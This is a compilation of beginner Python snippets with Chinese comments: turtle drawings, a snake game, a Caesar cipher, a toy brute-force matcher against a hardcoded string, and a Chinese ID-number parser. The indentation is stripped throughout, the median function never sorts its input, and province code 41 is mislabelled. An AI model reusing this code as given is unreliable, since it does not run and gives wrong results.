t.forward(80)
# 左边的胡子
t.pu()
t.home()
t.goto(0,124)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(170)
t.forward(80)
t.pu()
t.home()
t.goto(0, 114)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(174)
t.forward(80)
t.pu()
t.home()
t.goto(0, 104)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(180)
t.forward(80)
t.pu()
t.goto(-70, 70)
t.pd()
t.color('black', 'red')
t.pensize(6)
t.seth(-60)
t.begin_fill()
t.circle(80,40)
t.circle(80,80)
t.end_fill()
t.pu()
t.home()
t.goto(-80,70)
t.pd()
t.forward(160)
t.pu()
t.home()
t.goto(-50,50)
t.pd()
t.pensize(1)
t.fillcolor("#eb6e1a")
t.seth(40)
t.begin_fill()
t.circle(-40, 40)
t.circle(-40, 40)
t.seth(40)
t.circle(-40, 40)
t.circle(-40, 40)
t.seth(220)
t.circle(-80, 40)
t.circle(-80, 40)
t.end_fill()
# 领带
t.pu()
t.goto(-70, 12)
t.pensize(14)
t.pencolor('red')
t.pd()
t.seth(-20)
t.circle(200, 30)
t.circle(200, 10)
# 铃铛
t.pu()
t.goto(0, -46)
t.pd()
t.pensize(3)
t.color("black", '#f8d102')
t.begin_fill()
t.circle(25)
t.end_fill()
t.pu()
t.goto(-5, -40)
t.pd()
t.pensize(2)
t.color("black", '#79675d')
t.begin_fill()
t.circle(5)
t.end_fill()
t.pensize(3)
t.right(115)
t.forward(7)
t.mainloop()
-----------------------------------------------------------------------
import turtle
turtle.pensize(2)
turtle.hideturtle()
windSpeed = 10
radius = 50
def windmill(c):
turtle.pencolor(c)
turtle.tracer(False)
for i in range(4):
turtle.forward(2*radius)
turtle.right(90)
turtle.circle(-radius,180)
while True:
windmill('black')
turtle.update()
windmill('white')
turtle.right(windSpeed)
turtle.done()
风车旋转代码
------------------------------------------------------------------------------------
#PythonDraw.py
from turtle import*
setup(650,350,200,200)
penup()
fd(-250)
pendown()
pensize(25)
pencolor("purple")
seth(-40)
for i in range(4):
circle(40,80)
circle(-40,80)
circle(40,80/2)
fd(40)
circle(16,180)
fd(40*2/3)
done()
-------------------------------------------------------------------------------------
import numpy as np
import random
import pygame
FONT_PX = 15
pygame.init()
winSur = pygame.display.set_mode((500, 600))
font = pygame.font.SysFont('fangsong', 20)
bg_suface = pygame.Surface((500, 600), flags=pygame.SRCALPHA)
pygame.Surface.convert(bg_suface)
bg_suface.fill(pygame.Color(0, 0, 0, 13))
winSur.fill((0, 0, 0))
# 数字
texts = [font.render(str(i), True, (0, 255, 0)) for i in range(10)]
colums = int(500 / FONT_PX)
drops = [0 for i in range(colums)]
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
exit()
pygame.time.delay(33)
winSur.blit(bg_suface, (0, 0))
for i in range(len(drops)):
text = random.choice(texts)
winSur.blit(text, (i * FONT_PX, drops[i] * FONT_PX))
drops[i] += 1
if drops[i] * 10 > 600 or random.random() > 0.95:
drops[i] = 0
pygame.display.flip()
----------------------------------------------------------------------------------------
import time
scale=10
print("------执行开始------")
for i in range(scale+1):
a='*'*i
b='.'*(scale-i)
c=(i/scale)*100
print("{:^3.0f}%[{}->{}]".format(c,a,b))
time.sleep(0.1)
print("------执行结束------")
-----------------------------------------------------------------------------------------
import os
def encryption():
str_raw = input("请输入明文:")
k = int(input("请输入位移值:"))
str_change = str_raw.lower()
str_list = list(str_change)
str_list_encry = str_list
i = 0
while i < len(str_list):
if ord(str_list[i]) < 123-k:
str_list_encry[i] = chr(ord(str_list[i]) + k)
else:
str_list_encry[i] = chr(ord(str_list[i]) + k - 26)
i = i+1
print ("加密结果为:"+"".join(str_list_encry))
def decryption():
str_raw = input("请输入密文:")
k = int(input("请输入位移值:"))
str_change = str_raw.lower()
str_list = list(str_change)
str_list_decry = str_list
i = 0
while i < len(str_list):
if ord(str_list[i]) >= 97+k:
str_list_decry[i] = chr(ord(str_list[i]) - k)
else:
str_list_decry[i] = chr(ord(str_list[i]) + 26 - k)
i = i+1
print ("解密结果为:"+"".join(str_list_decry))
while True:
print (u"1. 加密")
print (u"2. 解密")
choice = input("请选择:")
if choice == "1":
encryption()
elif choice == "2":
decryption()
else:
print (u"您的输入有误!")
凯撒密文
-----------------------------------------------------------------------------------
from turtle import *
from time import sleep
def go_to(x, y):
up()
goto(x, y)
down()
def head(x,y,r):
go_to(x,y)
speed(1)
circle(r)
leg(x,y)
def leg(x,y):
right(90)
forward(180)
right(30)
forward(100)
left(120)
go_to(x,y-180)
forward(100)
right(120)
forward(100)
left(120)
hand(x,y)
def hand(x,y):
go_to(x,y-60)
forward(100)
left(60)
forward(100)
go_to(x, y - 90)
right(60)
forward(100)
right(60)
forward(100)
left(60)
eye(x,y)
def eye(x,y):
go_to(x-50,y+130)
right(90)
forward(50)
go_to(x+40,y+130)
forward(50)
left(90)
def big_Circle(size):
speed(20)
for i in range(150):
forward(size)
right(0.3)
def line(size):
speed(1)
forward(51*size)
def small_Circle(size):
speed(10)
for i in range(210):
forward(size)
right(0.786)
def heart(x, y, size):
go_to(x, y)
left(150)
begin_fill()
line(size)
big_Circle(size)
small_Circle(size)
left(120)
small_Circle(size)
big_Circle(size)
line(size)
end_fill()
def main():
pensize(2)
color('red', 'pink')
head(-120, 100, 100)
heart(250, -80, 1)
go_to(200, -300)
write("To: 智慧与美貌并存的", move=True, align="left", font=("楷体", 20, "normal"))
done()
main()
程序⚪的感性 比较干巴
----------------------------------------------------------------------------
print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
简单胜于繁琐
----------------------------------------------------------------
from turtle import *
from time import *
import turtle
p = Turtle()
p.pensize(2)
turtle.bgcolor("black")
colors = ["red", "yellow", 'purple', 'blue']
p._tracer(False)
for x in range(400):
p.forward(2*x)
p.color(colors[x % 4])
p.left(91)
p._tracer(True)
万花T
--------------------------------------------------------
#calstatistics
def getNum():
nums=[]
iNumStr=input("请输入数字(回车退出):")
while iNumStr != "":
nums.append(eval(iNumStr))
iNumStr=input("请输入数字(回车退出):")
return nums
def mean(numbers):
s=0.0
for num in numbers:
s=s+num
return s/len(numbers)
def dev(numbers,mean):
sdev=0.0
for num in numbers:
sdev=sdev+(num-mean)**2
return pow(sdev/(len(numbers)-1),0.5)
def median(numbers):
sorted(numbers)
size=len(numbers)
if size%2==0:
med=(numbers[size//2-1]+numbers[size//2])/2
else:
med=numbers[size//2]
return med
n=getNum()
m=mean(n)
print("平均数:{},方差:{:.2},中位数:{}.".format(m,dev(n,m),median(n)))
------------------------------------------------------------------------------------------------------------
from turtle import *
'''
绘制皮卡丘头部
'''
def face(x,y):
"""画脸"""
begin_fill()
penup()
# 将海龟移动到指定的坐标
goto(x, y)
pendown()
# 设置海龟的方向
setheading(40)
circle(-150, 69)
fillcolor("#FBD624")
# 将海龟移动到指定的坐标
penup()
goto(53.14, 113.29)
pendown()
setheading(300)
circle(-150, 30)
setheading(295)
circle(-140, 20)
print(position())
forward(5)
setheading(260)
circle(-80, 70)
print(position())
penup()
goto(-74.43,-79.09)
pendown()
penup()
# 将海龟移动到指定的坐标
goto(-144,103)
pendown()
setheading(242)
circle(110, 35)
right(10)
forward(10)
setheading(250)
circle(80, 115)
print(position())
penup()
goto(-74.43,-79.09)
pendown()
setheading(10)
penup()
goto(-144, 103)
pendown()
penup()
goto(x, y)
pendown()
end_fill()
# 下巴
penup()
goto(-50, -82.09)
pendown()
pencolor("#DDA120")
fillcolor("#DDA120")
begin_fill()
setheading(-12)
circle(120, 25)
setheading(-145)
forward(30)
setheading(180)
circle(-20, 20)
setheading(143)
forward(30)
end_fill()
# penup()
# # 将海龟移动到指定的坐标
# goto(0, 0)
# pendown()
def eye():
"""画眼睛"""
# 左眼
color("black","black")
penup()
goto(-110, 27)
pendown()
begin_fill()
setheading(0)
circle(24)
end_fill()
# 左眼仁
color("white", "white")
penup()
goto(-105, 51)
pendown()
begin_fill()
setheading(0)
circle(10)
end_fill()
# 右眼
color("black", "black")
penup()
goto(25, 40)
pendown()
begin_fill()
setheading(0)
circle(24)
end_fill()
# 右眼仁
color("white", "white")
penup()
goto(17, 62)
pendown()
begin_fill()
setheading(0)
circle(10)
end_fill()
def cheek():
"""画脸颊"""
# 右边
color("#9E4406", "#FE2C21")
penup()
goto(-130, -50)
pendown()
begin_fill()
setheading(0)
circle(27)
end_fill()
# 左边
color("#9E4406", "#FE2C21")
penup()
goto(53, -20)
pendown()
begin_fill()
setheading(0)
circle(27)
end_fill()
def nose():
"""画鼻子"""
color("black", "black")
penup()
goto(-40, 38)
pendown()
begin_fill()
circle(7,steps = 3)
end_fill()
def mouth():
"""画嘴"""
color("black", "#F35590")
# 嘴唇
penup()
goto(-10, 22)
pendown()
begin_fill()
setheading(260)
forward(60)
circle(-11, 150)
forward(55)
print(position())
penup()
goto(-38.46, 21.97)
pendown()
end_fill()
# 舌头
color("#6A070D", "#6A070D")
begin_fill()
penup()
goto(-10.00, 22.00)
pendown()
penup()
goto(-14.29, -1.7)
pendown()
penup()
goto(-52, -5)
pendown()
penup()
goto(-60.40, 12.74)
pendown()
penup()
goto(-38.46, 21.97)
pendown()
penup()
goto(-10.00, 22.00)
pendown()
end_fill()
color("black","#FFD624")
penup()
goto(-78, 15)
pendown()
begin_fill()
setheading(-25)
for i in range(2):
setheading(-25)
circle(35, 70)
end_fill()
color("#AB1945", "#AB1945")
penup()
goto(-52, -5)
pendown()
begin_fill()
setheading(40)
circle(-33, 70)
goto(-16,-1.7)
penup()
goto(-18,-17)
pendown()
setheading(155)
circle(25, 70)
end_fill()
def ear():
"""画耳朵"""
# 左耳
color("black","#FFD624")
penup()
goto(-145, 93)
pendown()
begin_fill()
setheading(165)
circle(-248,50)
right(120)
circle(-248,50)
end_fill()
color("black", "black")
penup()
goto(-240, 143)
pendown()
begin_fill()
setheading(107)
circle(-170, 25)
left(80)
circle(229, 15)
left(120)
circle(300, 15)
end_fill()
# 右耳
color("black", "#FFD624")
penup()
goto(30, 136)
pendown()
begin_fill()
setheading(64)
circle(-248, 50)
right(120)
circle(-248, 50)
end_fill()
color("black", "black")
penup()
goto(160, 200)
pendown()
begin_fill()
setheading(52)
circle(170, 25)
left(116)
circle(229, 15)
left(71)
circle(-300, 15)
end_fill()
def setting():
"""设置参数"""
pensize(2)
# 隐藏海龟
hideturtle()
speed(10)
def main():
"""主函数"""
setting()
face(-132,115)
eye()
cheek()
nose()
mouth()
ear()
done()
if __name__ == '__main__':
main()
-----------------------------------------------------------------------------------
from itertools import product
from time import sleep
from tqdm import tqdm
#密码生成器
def psgen(x=1):
iter = ['1234567890e'] #ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz
for r in iter:
for repeat in range(x,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
print(ps)
sum=0
s="123123e" #要破解的口令
print("wait...")
for ps in tqdm(psgen(len(s))): #多少位
sum+=1
if(ps==s):
print("破解成功!密码为:"+ps)
break
print("计算了"+str(sum)+"次")
print("完成!")
--------------------------------------------------------------------------------------------
import pygame, sys, random, time
from pygame.locals import *
black_colour = pygame.Color(28, 56, 20)
white_colour = pygame.Color(255, 144, 20)
red_colour = pygame.Color(255,34 , 20)
grey_colour = pygame.Color(150, 150, 150)
def GameOver(gamesurface):
GameOver_font = pygame.font.SysFont("MicrosoftYaHei", 16)
GameOver_colour = GameOver_font.render('GameOver', True, grey_colour)#只能英文
GameOver_location = GameOver_colour.get_rect()
GameOver_location.midtop = (310, 200)
gamesurface.blit(GameOver_colour, GameOver_location)
pygame.display.flip()
time.sleep(5)
pygame.quit()
sys.exit()
def main():
pygame.init()
pygame.time.Clock()
ftpsClock = pygame.time.Clock()
gamesurface = pygame.display.set_mode((640, 480))
pygame.display.set_caption('tanchishe snake')
snakeposition = [100, 100]
snakelength = [[100, 100], [80, 100], [60, 100]]
square_purpose = [300, 300]
square_position = 1
derection = "right"
change_derection = derection
while True:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sys.exit()
elif event.type == KEYDOWN:
if event.key == K_RIGHT or event.key == ord('d'):
change_derection = "right"
if event.key == K_LEFT or event.key == ord('a'):
change_derection = "left"
if event.key == K_UP or event.key == ord('w'):
change_derection = "up"
if event.key == K_DOWN or event.key == ord('s'):
change_derection = "down"
if event.key == K_ESCAPE:
pygame.event.post(pygame.event.Event(QUIT))
if change_derection == 'left' and not derection == 'right':
derection = change_derection
if change_derection == 'right' and not derection == 'left':
derection = change_derection
if change_derection == 'up' and not derection == 'down':
derection = change_derection
if change_derection == 'down' and not derection == 'up':
derection = change_derection
if derection == 'left':
snakeposition[0] -= 20
if derection == 'right':
snakeposition[0] += 20
if derection == 'up':
snakeposition[1] -= 20
if derection == 'down':
snakeposition[1] += 20
snakelength.insert(0, list(snakeposition))
if snakeposition[0] == square_purpose[0] and snakeposition[1] == square_purpose[1]:
square_position = 0
else:
snakelength.pop()
if square_position == 0:
x = random.randrange(1, 32)
y = random.randrange(1, 24)
square_purpose = [int(x * 20), int(y * 20)]
square_position = 1
gamesurface.fill(black_colour)
for position in snakelength:
pygame.draw.rect(gamesurface, white_colour, Rect(position[0], position[1], 20, 20))
pygame.draw.rect(gamesurface, red_colour, Rect(square_purpose[0], square_purpose[1], 20, 20))
pygame.display.flip()
if snakeposition[0] < 0 or snakeposition[0] > 620:
GameOver(gamesurface)
if snakeposition[1] < 0 or snakeposition[1] > 460:
GameOver(gamesurface)
for snakebody in snakelength[1:]:
if snakeposition[0] == snakebody[0] and snakeposition[1] == snakebody[1]:
GameOver(gamesurface)
ftpsClock.tick(8)
if __name__ == "__main__":
main()
贪吃蛇
----------------------------------------------------------------------------------------------------------------
import turtle
R = 200
turtle.screensize(400, 300, "gray")
turtle.pensize(3)
turtle.pencolor('black')
turtle.speed(10)
TJT_color = {1: 'white', -1: 'black'}
color_list = [1, -1]
for c in color_list:
turtle.fillcolor(TJT_color.get(c))
turtle.begin_fill()
turtle.circle(R / 2, 180)
turtle.circle(R, 180)
turtle.circle(R / 2, -180)
turtle.end_fill()
turtle.penup()
turtle.goto(0, R / 3 * c)
turtle.pendown()
turtle.fillcolor(TJT_color.get(-c))
turtle.begin_fill()
turtle.circle(-R / 6, 360)
turtle.end_fill()
turtle.penup()
turtle.goto(0, 0)
turtle.pendown()
turtle.done()
-----------------------------------------------------------------------------------------------
#T.py
import time
for i in range(101):
print("\r{:3}%".format(i),end="")
time.sleep(0.1)
进度条
----------------------------------------------------------------------------------
from winsound import Beep#天空之城
from playsound import playsound
def sound():
Beep(880, 250)
Beep(988, 250)
Beep(523 * 2, 600)
Beep(988, 300)
Beep(523 * 2, 600)
Beep(659 * 2, 600)
Beep(988, 1000)
Beep(659, 250)
Beep(659, 250)
Beep(880, 600)
Beep(784, 300)
Beep(880, 600)
Beep(523 * 2, 600)
Beep(784, 1000)
Beep(659, 600)
Beep(698, 800)
Beep(659, 300)
Beep(698, 600)
Beep(523 * 2, 600)
Beep(659, 980)
Beep(523 * 2, 250)
Beep(523 * 2, 250)
Beep(523 * 2, 250)
Beep(988, 600)
Beep(739, 300)
Beep(739, 600)
Beep(988, 600)
Beep(988, 1000)
Beep(880, 250)
Beep(988, 250)
Beep(523 * 2, 600)
Beep(988, 300)
Beep(523 * 2, 600)
Beep(659 * 2, 600)
Beep(988, 1000)
Beep(659, 250)
Beep(659, 250)
Beep(880, 600)
Beep(784, 300)
Beep(880, 600)
Beep(523 * 2, 600)
Beep(784, 1000)
Beep(659, 600)
Beep(698, 800)
Beep(659, 300)
Beep(698, 600)
Beep(523 * 2, 600)
Beep(659, 980)
Beep(523 * 2, 250)
Beep(523 * 2, 250)
Beep(523 * 2, 250)
Beep(988, 600)
Beep(739, 300)
Beep(739, 600)
Beep(988, 600)
Beep(988, 1000)
# 天空之城
while 1:
sound()
------------------------------------------------------------------
shuru=input('请输入需要转换的字符:');
a=ord(shuru);
c=ord(shuru) - 1;
d=chr(c);
print(shuru ,'的unicode码是:',a,'\n',shuru,'的上一个字母是',d);
unicode码
----------------------------------------------------------------------
from turtle import *
from random import random,randint
screen = Screen()
width ,height = 800,600
screen.setup(width,height)
screen.title("模拟3D星空")
screen.bgcolor("black")
screen.mode("logo")
screen.delay(0)#这里要设为0,否则很卡
t = Turtle(visible = False,shape='circle')
t.pencolor("white")
t.fillcolor("white")
t.penup()
t.setheading(-90)
t.goto(width/2,randint(-height/2,height/2))
stars = []
for i in range(200):
star = t.clone()
s =random() /3
star.shapesize(s,s)
star.speed(int(s*10))
star.setx(width/2 + randint(1,width))
star.sety( randint(-height/2,height/2))
star.showturtle()
stars.append(star)
while True:
for star in stars:
star.setx(star.xcor() - 3 * star.speed())
if star.xcor()<-width/2:
star.hideturtle()
star.setx(width/2 + randint(1,width))
star.sety( randint(-height/2,height/2))
star.showturtle()
-----------------------------------------------------------------------------
ID=input('请输入18位身份证号码:');
if len(ID)==18:
print('您输入的身份证号码是:'+ID);
else:
print('你输入的身份证号码错误,请重新输入:');
ID=input('请输入18位身份证号码:');
ID_add=ID[0:2] #省份,截出前两位 2个数
ID_birth=ID[6:14] #8个数
ID_sex=ID[16:17] #1个数
#print(ID_add,ID_birth,ID_sex)
pro={'11':'北京','12':'天津','13':'河北','14':'山西','15':'内蒙',
'21':'辽宁','22':'吉林','23':'黑龙江','31':'上海','32':'江苏',
'33':'浙江','34':'安徽','35':'福建','36':'江西','37':'山东',
'41':'河北','42':'湖北','43':'湖南','44':'广东','45':'广西',
'46':'海南','50':'重庆','51':'四川','52':'贵州','53':'云南',
'54':'西藏','61':'陕西','62':'甘肃','63':'青海','64':'宁夏',
'65':'新疆','71':'台湾','81':'香港'
}
sx='猴鸡狗猪鼠牛虎兔龙蛇马羊'
def getbirth(a): #读取生日,生肖函数
year=a[0:4]
moon=a[4:6]
day=a[6:]
y=int(year)%12
print('您的生日为:'+year+'年'+moon+'月'+day+'日')
print('您的生肖为:',sx[y])
getbirth(ID_birth)
def getsex(a): #读取性别函数
if int(a)%2==0:
print('您的性别为: 女')
else :
print('您的性别为: 男')
getsex(ID_sex)
def getxz(a):
month=int(a[4:6])
day=int(a[6:8])
n = ('摩羯座','水瓶座','双鱼座','白羊座','金牛座','双子座','巨蟹座','狮子座','处女座','天秤座','天蝎座','射手座')
d = ((1,20),(2,19),(3,21),(4,21),(5,21),(6,22),(7,23),(8,23),(9,23),(10,23),(11,23),(12,23))
m=n[len(list(filter(lambda y:y<(month,day),d)))%12]
print('您的星座为:',m)
getxz(ID_birth)
def getpro(key): #读取省份函数
key_list=list(pro.keys())
if key in key_list:
print('您所在的省份为:',pro[key])
else:
print('未查到对应的省份,请核实身份证号码是否正确!')
getpro(ID_add)
----------------------------------------------------------
import turtle as T
import random
import time
# 画樱花的躯干(60,t)
def Tree(branch, t):
time.sleep(0.0005)
if branch > 3:
if 8 <= branch <= 12:
if random.randint(0, 2) == 0:
t.color('snow') # 白
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 3)
elif branch < 8:
if random.randint(0, 1) == 0:
t.color('snow')
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 2)
else:
t.color('sienna') # 赭(zhě)色
t.pensize(branch / 10) # 6
t.forward(branch)
a = 1.5 * random.random()
t.right(20 * a)
b = 1.5 * random.random()
Tree(branch - 10 * b, t)
t.left(40 * a)
Tree(branch - 10 * b, t)
t.right(20 * a)
t.up()
t.backward(branch)
t.down()
# 掉落的花瓣
def Petal(m, t):
for i in range(m):
a = 200 - 400 * random.random()
b = 10 - 20 * random.random()
t.up()
t.forward(b)
t.left(90)
t.forward(a)
t.down()
t.color('lightcoral') # 淡珊瑚色
t.circle(1)
t.up()
t.backward(a)
t.right(90)
t.backward(b)
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle() # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat') # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
-----------------------------------------------------------
import os
num=int(input("请输入一个代表分钟的整数:"))
y=num//(60*24*365)
d=num//(60*24)%365
h=num//60%24
m=num%60
print("这个分钟代表{}年{}天{}小时{}分钟".format(y,d,h,m))
-